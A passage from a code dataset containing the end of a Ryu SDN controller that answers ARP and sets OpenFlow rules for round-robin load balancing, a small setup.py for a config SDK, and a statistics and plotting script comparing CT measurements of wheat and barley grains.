self.send_arp(msg, resp_arp_addresses, 2, out_port)\n\n # switch the host (load balancing round robin)\n self.switch_current_server_host()\n\n\n def handle_server_arp_request(self, msg, arp_pkt):\n self.logger.debug(\"Packet is Server Arp request. Dst IP: {}, Src IP: {}, Src Mac: {}\".format(arp_pkt.dst_ip, arp_pkt.src_ip, arp_pkt.src_mac))\n\n # set the relevant response arp fields\n request_host = self.addresses_to_hosts['ips'][arp_pkt.dst_ip]\n\n resp_arp_src_ip = arp_pkt.dst_ip\n resp_arp_src_mac = self.hosts_to_addresses[request_host]['mac']\n resp_arp_dst_ip = arp_pkt.src_ip\n resp_arp_dst_mac = arp_pkt.src_mac\n\n server_host = self.addresses_to_hosts['ips'][resp_arp_dst_ip]\n \n resp_arp_addresses = {\n 'src_ip': resp_arp_src_ip, \n 'src_mac': resp_arp_src_mac,\n 'dst_ip': resp_arp_dst_ip,\n 'dst_mac': resp_arp_dst_mac\n }\n \n\n # send the arp response\n out_port = self.hosts_to_addresses[server_host]['port']\n self.send_arp(msg, resp_arp_addresses, 2, out_port)\n\n # switch the host (load balancing round robin)\n #self.switch_current_server_host()\n \n def add_server_flow(self,msg, arp_pkt, request_host):\n # set up the icmp flow\n in_port = self.hosts_to_addresses[self.current_server_host]['port']\n \n # we are switching these from the other function\n # the add_icmp_flow will match ipv4_dst, and set the new ipv4_dst to virt_ipv4_dst\n \n # set the forward to come from virtual ip\n ipv4_action = '10.0.0.10'\n\n # we want to match the destination ip as the client\n ipv4_dst_match = self.hosts_to_addresses[request_host]['ip']\n\n \n # we want to match the source ip as the server\n ipv4_src = self.hosts_to_addresses[self.current_server_host]['ip']\n \n # the outport is set as the port of the client\n out_port = self.hosts_to_addresses[request_host]['port']\n\n self.add_icmp_flow(msg, in_port, ipv4_dst_match, ipv4_action, ipv4_src, out_port, True)\n\n \n def add_client_flow(self, msg, arp_pkt):\n # set up the icmp flow\n in_port = msg.match['in_port']\n ipv4_dst_match = '10.0.0.10'\n ipv4_src = arp_pkt.src_ip\n ipv4_dst_action = self.hosts_to_addresses[self.current_server_host]['ip']\n out_port = self.hosts_to_addresses[self.current_server_host]['port']\n self.add_icmp_flow(msg, in_port, ipv4_dst_match, ipv4_dst_action, ipv4_src, out_port, False)\n\n\n\n def add_icmp_flow(self, msg, in_port, ipv4_dst_match, ipv4_action, ipv4_src, out_port, is_server):\n # match on input port and dst ip. Forward to output port of server\n datapath = msg.datapath\n ofproto = datapath.ofproto\n parser = datapath.ofproto_parser\n \n if is_server:\n # this is horrible code, but should give the right switch. ipv4_dst_action is actually src\n actions = [parser.OFPActionSetField(ipv4_src=ipv4_action), parser.OFPActionOutput(out_port) ]\n else:\n actions = [parser.OFPActionSetField(ipv4_dst=ipv4_action), parser.OFPActionOutput(out_port)]\n\n match = parser.OFPMatch(in_port=in_port, eth_type=0x800, ipv4_dst=ipv4_dst_match, ipv4_src=ipv4_src) \n\n p_string = \"Input port: {}, IP action: {}, IP Dst match: {}, IP Src: {} Output port: {}\".format(in_port, ipv4_action, ipv4_dst_match, ipv4_src, out_port)\n if msg.buffer_id != ofproto.OFP_NO_BUFFER:\n self.logger.debug(\"Setting buffered up flow. {}\".format(p_string) )\n self.add_flow(datapath, 1, match, actions, msg_buffer_id)\n else:\n self.logger.debug(\"Setting non_buffered flow. {}\".format(p_string) )\n self.add_flow(datapath, 1, match, actions)\n \n\n def send_arp(self, msg, arp_addr, opcode, out_port):\n datapath = msg.datapath\n eth = ethernet.ethernet(arp_addr['dst_mac'], arp_addr['src_mac'], ether.ETH_TYPE_ARP)\n # ethernet hardware type is 1, ethernet proto type is 0x0800\n a = arp.arp(\n hwtype=1, \n proto=0x0800, \n hlen=6, \n plen=4,\n opcode=opcode, \n src_mac=arp_addr['src_mac'],\n src_ip=arp_addr['src_ip'],\n dst_mac=arp_addr['dst_mac'],\n dst_ip=arp_addr['dst_ip'],\n )\n \n pkt = packet.Packet()\n pkt.add_protocol(eth)\n pkt.add_protocol(a)\n pkt.serialize()\n \n # TODO: Check to see if the max-len set to 0 has an adverse affect\n actions = [datapath.ofproto_parser.OFPActionOutput(out_port, max_len=0)]\n out = datapath.ofproto_parser.OFPPacketOut(\n datapath=datapath,\n buffer_id=0xffffffff,\n in_port=datapath.ofproto.OFPP_CONTROLLER,\n actions=actions,\n data=pkt.data\n )\n \n type = 'request' if opcode == 1 else 'response'\n self.logger.debug(\"Sending arp {}. Src Mac: {}, Src IP: {}, Dst Mac: {}, Dst IP: {}, Out port: {}\".format(type, a.src_mac, a.src_ip, a.dst_mac, a.dst_ip, out_port) )\n \n datapath.send_msg(out)\n","sub_path":"PA2/my_controller.py","file_name":"my_controller.py","file_ext":"py","file_size_in_byte":12815,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"297254802","text":"from setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nsetup(\n name=\"fc-config\",\n version='0.1.5',\n packages=find_packages(exclude=[\"test\"]),\n url=\"http://git.fairsense.cn\",\n license=\"Fairsense License 1.0\",\n author=\"wengyingjie\",\n author_email=\"yingjie.weng@fairsense.cn\",\n description=\"fairsense config center sdk\",\n install_requires=[],\n\n)\n","sub_path":"pypi_install_script/fc-config-0.1.5.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"139393541","text":"import pandas as pd\nimport os\nfrom scipy import stats\nimport numpy as np\nfrom math import sqrt\nfrom scipy.stats import t\nfrom scipy import std, mean\nimport seaborn as sns\nimport matplotlib.pyplot as plt\nfrom pylab import cm\nfrom ct_analysing_library.data_transforms import perform_pca\nfrom scipy.spatial import ConvexHull\nimport itertools\nfrom matplotlib.patches import Ellipse\nfrom matplotlib.backends.backend_pdf import PdfPages\nfrom ct_analysing_library.statistical_tests import baysian_hypothesis_test\nfrom ct_analysing_library.graphing import plot_difference_of_means, plot_forest_plot, plot_pca\nfrom half_viol import half_violinplot\nplt.style.use('ggplot')\n\n# sns.set_palette(\"Set2\")\n\n\ndef split_on_two_sample_types(df, type1, type2):\n result = df[(df['Sample Type'] == type1) | (df['Sample Type'] == type2)]\n result.reset_index(drop=True, inplace=True)\n return result\n\n\ndef data_to_groups(orig_df, groups, attribute):\n\n if 'mean' in attribute:\n attribute = attribute.replace('mean_', '')\n df = aggregate_average_attribute(orig_df, attribute)\n else:\n df = orig_df\n\n d1 = df[df['Sample Type'] == groups[0]][attribute]\n d2 = df[df['Sample Type'] == groups[1]][attribute]\n return (d1, d2)\n\n\ndef aggregate_average_attribute(df, att):\n return df.groupby(['Sample name',\n 'Sample Type',\n 'Wild/Domesticated',\n 'Ploidy',\n 'Ploidy-Domestication'], as_index=False)[[att]].mean()\n\n\ndef make_top_bottom(df):\n def top_bottom(s):\n return 'bottom' if s['z'] < s['height']/2 else 'top'\n\n def allocate_position(s):\n return s['z']//(s['slices']//10)\n df['top/bottom'] = df.apply(top_bottom, axis=1)\n df['position'] = df.apply(allocate_position, axis=1)\n\n\ndef make_pca_figures(orig_df, atts, groups):\n plt.close('all')\n\n # df = orig_df.groupby(['Sample name', 'Sample Type', 'Wild/Domesticated'],\n # as_index=False)[atts].mean()\n\n df = orig_df\n\n dfx, pca, misc = perform_pca(df,\n atts,\n 'Sample Type',\n standardise=True)\n g = plot_pca(pca, dfx, 'Sample Type', single_plot=True)\n\n return g, dfx, pca\n\n\ndef plot_cov_ellipse(cov, pos, nstd=2, ax=None, **kwargs):\n \"\"\"\n Plots an `nstd` sigma error ellipse based on the specified covariance\n matrix (`cov`). Additional keyword arguments are passed on to the\n ellipse patch artist.\n\n Parameters\n ----------\n cov : The 2x2 covariance matrix to base the ellipse on\n pos : The location of the center of the ellipse. Expects a 2-element\n sequence of [x0, y0].\n nstd : The radius of the ellipse in numbers of standard deviations.\n Defaults to 2 standard deviations.\n ax : The axis that the ellipse will be plotted on. Defaults to the\n current axis.\n Additional keyword arguments are pass on to the ellipse patch.\n\n Returns\n -------\n A matplotlib ellipse artist\n \"\"\"\n def eigsorted(cov):\n vals, vecs = np.linalg.eigh(cov)\n order = vals.argsort()[::-1]\n return vals[order], vecs[:, order]\n\n if ax is None:\n ax = plt.gca()\n\n vals, vecs = eigsorted(cov)\n theta = np.degrees(np.arctan2(*vecs[:, 0][::-1]))\n\n # Width and height are \"full\" widths, not radius\n width, height = 2 * nstd * np.sqrt(vals)\n ellip = Ellipse(xy=pos, width=width, height=height,\n angle=theta, **kwargs, linewidth=2)\n\n ax.add_artist(ellip)\n return ellip\n\n\ndef plot_point_cov(points, nstd=2, ax=None, **kwargs):\n \"\"\"\n Plots an `nstd` sigma ellipse based on the mean and covariance of a point\n \"cloud\" (points, an Nx2 array).\n\n Parameters\n ----------\n points : An Nx2 array of the data points.\n nstd : The radius of the ellipse in numbers of standard deviations.\n Defaults to 2 standard deviations.\n ax : The axis that the ellipse will be plotted on. Defaults to the\n current axis.\n Additional keyword arguments are pass on to the ellipse patch.\n\n Returns\n -------\n A matplotlib ellipse artist\n \"\"\"\n pos = points.mean(axis=0)\n cov = np.cov(points, rowvar=False)\n return plot_cov_ellipse(cov, pos, nstd, ax, **kwargs)\n\n\ndef make_bayesian_plots(df, compare_groups, atts):\n\n df = df.sort_values(by='Wild/Domesticated')\n g1 = compare_groups[0]\n g2 = compare_groups[1]\n directory = '../Plots/{0}-{1}/Bayesian'.format(compare_groups[0],\n compare_groups[1])\n bayes = {}\n if not os.path.exists(directory):\n os.makedirs(directory)\n\n for a in atts:\n\n try:\n d1, d2 = data_to_groups(df, compare_groups, a)\n d1 = np.array(d1)\n d2 = np.array(d2)\n res, summ = baysian_hypothesis_test(\n d1, d2, g1, g2, n_samples=10000)\n bayes[a] = (res['difference of means'] < 0).mean() if (\n res['difference of means'] < 0).mean() < 0.5 else (1-(res['difference of means'] < 0).mean())\n\n dm = plot_difference_of_means(res)\n plt.gca().set_title('')\n plt.gcf().suptitle('{0} - Difference of Means'.format(a))\n plt.gcf().savefig(\n '{0}/bayes_difference_of_means_{1}.png'.format(directory, a))\n except:\n bayes[a] = 'NaN'\n print('{0}-{1}\\t didnt work'.format(g1+g2, a))\n\n return bayes\n\n\ndef boxplot(df, groups, attribute, show=False, saveloc=None, split=False, sig='*'):\n\n if split:\n df = split_on_two_sample_types(df, groups[0], groups[1])\n\n if 'mean' in attribute or 'median' in attribute or 'density' in attribute or 'height' in attribute or 'count' in attribute:\n n1 = len(df[df['Sample Type'] == groups[0]]['Sample name'].unique())\n n2 = len(df[df['Sample Type'] == groups[1]]['Sample name'].unique())\n else:\n n1 = len(df[df['Sample Type'] == groups[0]])\n n2 = len(df[df['Sample Type'] == groups[1]])\n\n if len(df['Wild/Domesticated'].unique()) == 1:\n df = df.sort_values(by=['Ploidy'])\n\n else:\n df = df.sort_values(by=['Wild/Domesticated'], ascending=False)\n\n if len(df['Ploidy'].unique() == 3):\n fig, ax = plt.subplots(figsize=(4, 4))\n else:\n fig, ax = plt.subplots(figsize=(3, 4))\n if not split:\n sns.boxplot(data=df, x='Ploidy', y=attribute,\n ax=ax, hue='Wild/Domesticated')\n\n elif len(df['Wild/Domesticated'].unique()) == 1:\n sns.boxplot(data=df, x='Sample Type', y=attribute,\n ax=ax)\n else:\n sns.boxplot(data=df, x='Sample Type', y=attribute,\n ax=ax)\n\n if split:\n p = do_test(df, groups, attribute)[0]\n else:\n p = 1\n title = attribute.capitalize()\n #fig.suptitle(title.replace('_', ' '))\n\n if attribute != 'volume':\n ax.legend().set_visible(False)\n\n if attribute in ['volume', 'width', 'length']:\n ax.set_xlabel('')\n else:\n ax.set_xlabel('')\n\n if attribute in ['length', 'width', 'depth']:\n ax.set_ylabel('{0} mm'.format(attribute.capitalize()))\n if attribute == 'volume':\n ax.set_ylabel(r'{0} $mm^3$'.format(attribute.capitalize()))\n if attribute == 'length_depth_width':\n ax.set_ylabel(r'Length X Width x Depth $mm^3$')\n if attribute == 'surface_area':\n ax.set_ylabel(r'Surface Area $mm^2$')\n\n if sig != False:\n # statistical annotation\n x1, x2 = 0, 1\n inc = df[attribute].max()/10\n y, h, col = df[attribute].max() + inc, inc, 'k'\n plt.plot([x1, x1, x2, x2], [y, y+h, y+h, y], lw=1.5, c=col)\n plt.text((x1+x2)*.5, y+h, sig, ha='center', va='bottom', color=col)\n\n fig.tight_layout()\n if show:\n plt.show(block=False)\n if saveloc:\n fig.savefig(saveloc)\n\n\ndef do_test(df, groups, attribute, say=False):\n\n d1, d2 = data_to_groups(df, groups, attribute)\n ind_t_test = stats.ttest_ind(d1, d2, equal_var=False)\n N1 = len(d1)\n N2 = len(d2)\n degfree = (N1 + N2 - 2)\n std1 = std(d1)\n std2 = std(d2)\n std_N1N2 = sqrt(((N1 - 1)*(std1)**2 + (N2 - 1)*(std2)**2) / degfree)\n diff_mean = (mean(d1) - mean(d2))\n MoE = t.ppf(0.975, degfree) * std_N1N2 * sqrt(1/N1 + 1/N2)\n tval = np.around(ind_t_test[0], decimals=4)\n pval = np.around(ind_t_test[1], decimals=4)\n low_ci = np.around(diff_mean - MoE, decimals=4)\n high_ci = np.around(diff_mean + MoE, decimals=4)\n if say:\n print('The results of the independent t-test are: \\n\\tt-value = {:4.3f}\\n\\tp-value = {:4.3f}'.format(\n tval, pval))\n print('\\nThe difference between groups is {:3.1f} [{:3.1f} to {:3.1f}] (mean [95% CI])'.format(\n diff_mean, low_ci, high_ci))\n\n return (pval, tval, diff_mean, low_ci, high_ci)\n\n\ndef make_results_table(df, groups, attributes_to_test, say=False):\n results = pd.DataFrame(columns=['pval',\n 'tval',\n 'diff_mean',\n '0.25',\n '0.975'])\n for attribute in attributes_to_test:\n pval, tval, diff_mean, lower_ci, upper_ci = do_test(\n df, groups, attribute, say=say)\n s = pd.Series({'pval': pval,\n 'tval': tval,\n 'diff_mean': diff_mean,\n '0.25': lower_ci,\n '0.975': upper_ci})\n s.name = attribute\n results = results.append(s)\n\n def pval_col(x):\n return ['background-color: green' if x['pval'] < 0.01 else '' for v in range(5)]\n\n results = results.style.apply(pval_col, axis=1)\n return results\n\n\ndef make_violin_plots(df_orig, att, compare_groups, saveloc, x='Sample Type'):\n if 'mean' in att or 'std' in att or 'height' in att or 'density' in att:\n df = aggregate_average_attribute(df_orig, att)\n return 0\n else:\n df = df_orig.copy(deep=True)\n df = df.sort_values(\n by=['Wild/Domesticated', 'Ploidy'], ascending=[False, True])\n f, ax = plt.subplots(1, figsize=(5.5, 4))\n print(saveloc)\n ax = half_violinplot(data=df, x=x,\n y=att, bw='scott', linewidth=1, cut=0.5,\n scale=\"area\", width=.4, inner=None)\n\n ax = sns.stripplot(data=df, x=x, y=att,\n edgecolor=\"white\", size=2, jitter=1, zorder=0)\n\n ax = sns.boxplot(data=df, x=x, y=att,\n zorder=10, showcaps=True,\n boxprops={'facecolor': 'none', \"zorder\": 10},\n showfliers=True, whiskerprops={'linewidth': 2, \"zorder\": 10},\n saturation=1, width=.15,\n hue='Ploidy-Domestication')\n\n sns.despine(left=True)\n title = att.capitalize()\n f.suptitle(title.replace('_', ' '))\n\n if att in ['length', 'width', 'depth']:\n ax.set_ylabel('{0} mm'.format(att.capitalize()))\n if att == 'volume':\n ax.set_ylabel(r'{0} $mm^3$'.format(att.capitalize()))\n if att == 'length_depth_width':\n ax.set_ylabel(r'Length X Width x Depth $mm^3$')\n if att == 'surface_area':\n ax.set_ylabel(r'Surface Area $mm^2$')\n ax.set_xlabel('Surface Area')\n\n f.savefig(saveloc)\n\n\ndef make_boxplots(df, groups, atts, split=True, ploidy_dom=False, basedir=None):\n\n if basedir is None:\n if split:\n t_df = split_on_two_sample_types(df, groups[0], groups[1])\n basedir = '../Plots/{0}-{1}'.format(groups[0], groups[1])\n else:\n t_df = df\n basedir = '../Plots/2n-4n' if ploidy_dom else '../Plots/2n-4n-6n'\n else:\n t_df = df\n if not os.path.exists(basedir):\n os.makedirs(basedir)\n for a in atts:\n\n try:\n pval, tval, diff_mean, lower_ci, upper_ci = do_test(\n df, groups, a, say=False)\n except Exception as e:\n pval = -1\n saveloc = '{0}/{1}.png'.format(basedir, a)\n\n if pval < 0:\n sig = False\n elif pval < 0.01:\n sig = '*'\n elif pval < 0.05:\n sig = 'ns'\n else:\n sig = 'ns'\n boxplot(t_df, groups, a, saveloc=saveloc,\n split=split, sig=sig)\n #saveloc = '{0}/{1}-half-violin.png'.format(basedir, a)\n #make_violin_plots(t_df, a, groups, saveloc)\n\n # if ploidy_dom:\n # saveloc = '{0}/{1}-half-violin-ploidy_dom.png'.format(basedir, a)\n # make_violin_plots(t_df, a, groups, saveloc,\n # x='Ploidy-Domestication')\n\n\ndef analyse_all(einkorn, emmer, barley, compare_groups, atts, aestivum=None):\n einkorn_results = make_results_table(einkorn, compare_groups[0], atts)\n emmer_results = make_results_table(emmer, compare_groups[1], atts)\n barley_results = make_results_table(barley, compare_groups[2], atts)\n wild_einkorn_wild_emmer_results = make_results_table(\n pd.concat([emmer, einkorn]), compare_groups[3], atts)\n dom_einkorn_dom_emmer_results = make_results_table(\n pd.concat([emmer, einkorn]), compare_groups[4], atts)\n\n writer = pd.ExcelWriter('../Results/Statistical_Results.xlsx')\n\n einkorn_results.to_excel(writer, sheet_name='Einkorn Results')\n emmer_results.to_excel(writer, sheet_name='Emmer Results')\n barley_results.to_excel(writer, sheet_name='Barley Results')\n wild_einkorn_wild_emmer_results.to_excel(\n writer, sheet_name='Wild Einkorn - Wild Emmer Results')\n dom_einkorn_dom_emmer_results.to_excel(\n writer, sheet_name='Dom Einkorn - Dom Emmer Results')\n writer.save()\n writer.close()\n\n if aestivum is not None:\n make_boxplots(pd.concat([einkorn, emmer, aestivum]),\n compare_groups, atts, split=False)\n\n #make_boxplots(einkorn, compare_groups[0], atts)\n # make_boxplots(emmer, compare_groups[1], atts)\n # make_boxplots(barley, compare_groups[2], atts)\n # make_boxplots(pd.concat([emmer, einkorn]), compare_groups[3], atts)\n # make_boxplots(pd.concat([emmer, einkorn]), compare_groups[4], atts)\n\n # make_boxplots(pd.concat([emmer, einkorn]),\n # ['2n', '4n'], atts, split=False, ploidy_dom=True)\n\n # b_name = '/home/aoife/Dropbox/NPPC/Domestication/Bayesian_Testing.xlsx'\n # writer = pd.ExcelWriter(b_name)\n\n # def write(x, y): return pd.DataFrame.from_dict(\n # x, orient='index').to_excel(writer, sheet_name=y)\n\n # write(make_bayesian_plots(einkorn, compare_groups[0], atts), 'einkorn')\n # write(make_bayesian_plots(emmer, compare_groups[1], atts), 'emmer')\n # write(make_bayesian_plots(barley, compare_groups[2], atts), 'barley')\n # write(make_bayesian_plots(pd.concat(\n # [emmer, einkorn]), compare_groups[3], atts), 'wild einkorn - wild emmer')\n # write(make_bayesian_plots(pd.concat(\n # [emmer, einkorn]), compare_groups[4], atts), 'dom einkorn - dom emmer')\n # writer.save()\n # writer.close()\n\n\ndef make_2n_4n_6n_table(einkorn, emmer, aestivum, atts, sname):\n\n writer = pd.ExcelWriter(sname)\n\n all_data = pd.concat([einkorn,\n emmer,\n aestivum]).sort_values(by=['Ploidy', 'Wild/Domesticated'],\n ascending=[True, False])\n\n for a in atts:\n results = pd.DataFrame(columns=list(all_data['Sample Type'].unique()))\n ds = [all_data[all_data['Sample Type'] == st]\n for st in all_data['Sample Type'].unique()]\n for d in ds:\n\n t_test_vals = [np.around(stats.ttest_ind(d[a],\n d2[a],\n equal_var=False)[1], decimals=4) for d2 in ds]\n s = pd.Series(\n {k: v for k, v in zip(all_data['Sample Type'].unique(), t_test_vals)})\n s.name = list(d['Sample Type'].unique())[0]\n\n results = results.append(s)\n\n def pval_col(x):\n return ['background-color: green' if v < 0.01 else 'background-color: red' for v in x]\n results = results.style.apply(pval_col)\n\n results.to_excel(writer, sheet_name=a)\n\n writer.save()\n writer.close()\n\n\ndef plot_spikes(df, sample_type, ax=None, mi=None, mx=None):\n\n if ax is None:\n fig, ax = plt.subplots()\n else:\n fig = None\n x = df[df['Sample Type'] == sample_type]['x']\n y = df[df['Sample Type'] == sample_type]['z']\n s = df[df['Sample Type'] == sample_type]['volume']\n\n if mi is None:\n mi = min(s)\n mx = max(s)\n norm = np.array([((i - mi) / (mx-mi)) * 100 for i in s])\n colors_to_use = cm.rainbow(norm/max(norm))\n colmap = cm.ScalarMappable(cmap=cm.rainbow)\n colmap.set_array(colors_to_use)\n t = ax.scatter(x, y, c=colors_to_use, s=norm, marker='o')\n ax.set_xlim(150, 400)\n\n if fig is not None:\n fig.colorbar(colmap)\n return (fig, ax)\n return colmap\n\n\ndef make_figure_2(df, sample_types, saveloc):\n fig, ax = plt.subplots(1, 2, sharey=True,\n sharex=True, figsize=(10, 14))\n mi = df['volume'].min()\n mx = df['volume'].max()\n me = df['volume'].mean()\n plot_spikes(df, sample_types[0], ax=ax[1], mi=mi, mx=mx)\n\n fig.subplots_adjust(right=0.8)\n cbar_ax = fig.add_axes([0.85, 0.15, 0.05, 0.7])\n colbar = plot_spikes(df, sample_types[1], ax=ax[0], mi=mi, mx=mx)\n colbar = fig.colorbar(colbar, ticks=[0, 0.5, 1], cax=cbar_ax)\n\n colbar.ax.set_yticklabels([r'{0:3.2f}mm$^3$'.format(mi),\n r'{0:3.2f}mm$^3$'.format(me),\n r'{0:3.2f}mm$^3$'.format(mx)])\n ax[0].set_xlim(150, 400)\n ax[1].set_xlim(150, 400)\n\n ax[0].set_ylabel('Position along Spike')\n\n ax[0].set_title(sample_types[1])\n ax[1].set_title(sample_types[0])\n\n fig.savefig(saveloc)\n\n\ndef fig2_b(df_orig, ax=None, mi=None, mx=None, use_fig=False, fig=None):\n\n df = df_orig.copy(deep=True)\n\n mono_names = list(filter(\n lambda n: True if 'wild' not in n else False, einkorn['Sample name'].unique()))[:13]\n\n mono_names.extend(list(filter(\n lambda n: True if 'wild' in n else False, einkorn['Sample name'].unique())))\n\n df = df[df['Sample name'].isin(mono_names)]\n\n df.ix[df['Sample Type'] == 'T. monococcum',\n 'x'] = df[df['Sample Type'] == 'T. monococcum']['x']+512\n\n if ax is None:\n fig, ax = plt.subplots()\n\n x = df['x']\n y = df['z']\n s = df['volume']\n\n if mi is None:\n mi = min(s)\n mx = max(s)\n norm = np.array([((i - mi) / (mx-mi)) * 100 for i in s])\n colors_to_use = cm.rainbow(norm/max(norm))\n colmap = cm.ScalarMappable(cmap=cm.rainbow)\n colmap.set_array(colors_to_use)\n t = ax.scatter(x, y, c=colors_to_use, s=norm, marker='o')\n\n if not use_fig:\n colbar = fig.colorbar(colmap, ticks=[0, 0.5, 1])\n colbar.ax.set_yticklabels([r'{0:3.2f}mm$^3$'.format(mi),\n r'{0:3.2f}mm$^3$'.format(\n df['volume'].mean()),\n r'{0:3.2f}mm$^3$'.format(mx)])\n\n x1 = [300, 800]\n squad = ['T. beoticum', 'T. monococcum']\n ax.set_xticks(x1)\n ax.set_xticklabels(squad, minor=False)\n return (fig, ax)\n\n else:\n colbar = fig.colorbar(colmap, ticks=[0, 0.5, 1], ax=ax)\n colbar.ax.set_yticklabels([r'{0:3.2f}mm$^3$'.format(mi),\n r'{0:3.2f}mm$^3$'.format(\n df['volume'].mean()),\n r'{0:3.2f}mm$^3$'.format(mx)])\n\n x1 = [300, 800]\n squad = ['T. beoticum', 'T. monococcum']\n ax.set_xticks(x1)\n ax.set_xticklabels(squad, minor=False)\n\n return colmap\n\n\ndef fig3(einkorn):\n fig, axes = plt.subplots(3, 2)\n\n fig2_b(einkorn,\n ax=axes[0, 0],\n use_fig=True, fig=fig)\n\n einkorn = einkorn.sort_values(by='Wild/Domesticated', ascending=False)\n einkorn = einkorn.sort_values(by='top/bottom')\n\n sns.barplot(data=einkorn, x='Sample Type',\n y='density', ax=axes[1, 0])\n sns.barplot(data=einkorn, x='Sample Type',\n y='grain_count', ax=axes[0, 1])\n sns.barplot(data=einkorn, x='Sample Type',\n y='sum_volume', ax=axes[1, 1])\n\n palette = itertools.cycle(sns.color_palette())\n sns.barplot(data=einkorn[einkorn['Wild/Domesticated'] == 'wild'],\n x='position',\n y='grain_count', ax=axes[2, 0], color=next(palette))\n\n sns.barplot(data=einkorn[einkorn['Wild/Domesticated'] == 'domesticated'],\n x='position',\n y='grain_count', ax=axes[2, 1], color=next(palette))\n\n axes[2, 0].set_ylim(0, 35)\n axes[2, 1].set_ylim(0, 35)\n\n axes[0, 0].set_xlabel('')\n axes[0, 1].set_xlabel('')\n\n axes[0, 0].set_title('Grain Volume along Spike')\n axes[0, 1].set_title('Grain Count')\n axes[1, 0].set_title('Grain Density')\n axes[1, 1].set_title('Total Grain Volume Per Spike')\n plt.show()\n\n\ndef make_all_pca(einkorn, emmer, barley):\n\n atts = ['volume', 'length', 'width',\n 'depth', 'surface_area']\n\n g, dfx, pca = pca_figure(pd.concat(\n [einkorn, emmer]), atts, compare_groups, saveloc='../Results/pca_einkorn_emmer.pdf')\n\n writer = pd.ExcelWriter('../Results/PCA_Results_For_All_Wheat.xlsx')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Emmer and Einkorn')\n\n g, dfx, pca = pca_figure(split_on_two_sample_types(pd.concat([einkorn, emmer]), compare_groups[0][0], compare_groups[1][0]),\n atts, compare_groups, saveloc='../Results/pca_dom_einkorn_emmer.pdf')\n writer = pd.ExcelWriter('../Results/PCA_Results_For_All_Wheat.xlsx')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Wild Emmer and Einkorn')\n\n g, dfx, pca = pca_figure(split_on_two_sample_types(pd.concat([einkorn, emmer]), compare_groups[0][1], compare_groups[1][1]),\n atts, compare_groups, saveloc='../Results/pca_wild_einkorn_emmer.pdf')\n writer = pd.ExcelWriter('../Results/PCA_Results_For_All_Wheat.xlsx')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Wild Emmer and Einkorn')\n\n g, dfx, pca = pca_figure(pd.concat(\n [einkorn]), atts, compare_groups, saveloc='../Results/pca_einkorn.pdf')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Einkorn')\n\n g, dfx, pca = pca_figure(\n pd.concat([emmer]), atts, compare_groups, saveloc='../Results/pca_emmer.pdf')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Emmer')\n\n g, dfx, pca = pca_figure(\n pd.concat([barley]), atts, compare_groups, saveloc='../Results/pca_barley.pdf')\n pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['mean_width', 'mean_length',\n 'mean_depth', 'mean_volume',\n 'mean_surface_area']).to_excel(writer, sheet_name='Barley')\n\n writer.save()\n writer.close()\n\n\ndef pca_figure(df, atts, compare_groups, saveloc=None):\n from pandas.plotting import table\n\n print(atts)\n x = df.reset_index(drop=True)\n g, dfx, pca = make_pca_figures(x, atts, compare_groups)\n\n plt.gca().legend(loc='upper left')\n\n def find_points(x): return [\n x['principal component 1'], x['principal component 2']]\n\n palette = itertools.cycle(sns.color_palette())\n\n for u in dfx['Sample Type'].unique():\n points = list(dfx[dfx['Sample Type'] == u].apply(find_points, axis=1))\n hull = ConvexHull(points)\n points = np.array(points)\n plot_point_cov(points, nstd=1.5, alpha=0.3,\n color=next(palette), ax=g.ax)\n\n print(pca.components_.T)\n d = np.around(pd.DataFrame(pca.components_.T, columns=['PC-1', 'PC-2'],\n index=['Width', 'Length', 'Depth', 'Volume',\n 'Surface A .']), 2)\n p = np.around(d.values, 2)\n # p = abs(p)\n normalized = (p-p.min())/(p.max()-p.min())\n mtable = table(plt.gca(), d, loc='right', colWidths=[\n 0.2, 0.2, 0.2], zorder=3, bbox=(1.2, 0.8, 0.3, 0.2))\n table_props = mtable.properties()\n table_cells = table_props['child_artists']\n for cell in table_cells:\n cell.set_width(0.2)\n\n plt.subplots_adjust(right=0.7)\n\n plt.gcf().suptitle('')\n # this is modified for the extra atts,\n\n plt.gcf().savefig(saveloc.replace('pdf', '-L_W.png'))\n plt.gcf().savefig(saveloc)\n\n # for simplex in hull.simplices:\n # g.ax.plot(hull.points[simplex, 0], hull.points[simplex, 1], 'k-')\n # g.ax.fill(points[hull.vertices, 0],\n # points[hull.vertices, 1], color=next(palette), alpha=0.5)\n\n # plt.show(block=False)\n return g, dfx, pca\n\n\ndef is_diff(g1, g2, df, att):\n\n d1 = df[df['Sample Type'] == g1][att]\n d2 = df[df['Sample Type'] == g2][att]\n t, p = stats.ttest_ind(d1, d2, equal_var=False)\n print('{0} \\t {1}: \\t {2}'.format(g1, g2, p))\n return True if p < 0.05 else False\n\n\ndef allocate_grouping(groups, att, df):\n from string import ascii_lowercase as letters\n res = []\n res.append([groups[0]])\n\n for idx, g in enumerate(groups):\n found = False\n for g2 in res[idx]:\n if not found:\n if is_diff(g, g2, df, att):\n res.append([g])\n found = True\n if not found:\n if g not in res[idx]:\n res[idx].append(g)\n else:\n break\n return res\n\n\natts = ['volume', 'length', 'width', 'depth', 'surface_area',\n 'length_depth_width', 'Surface Area - Volume']\n\n\n# atts = ['length', 'width', 'depth', 'volume',\n# 'surface_area', 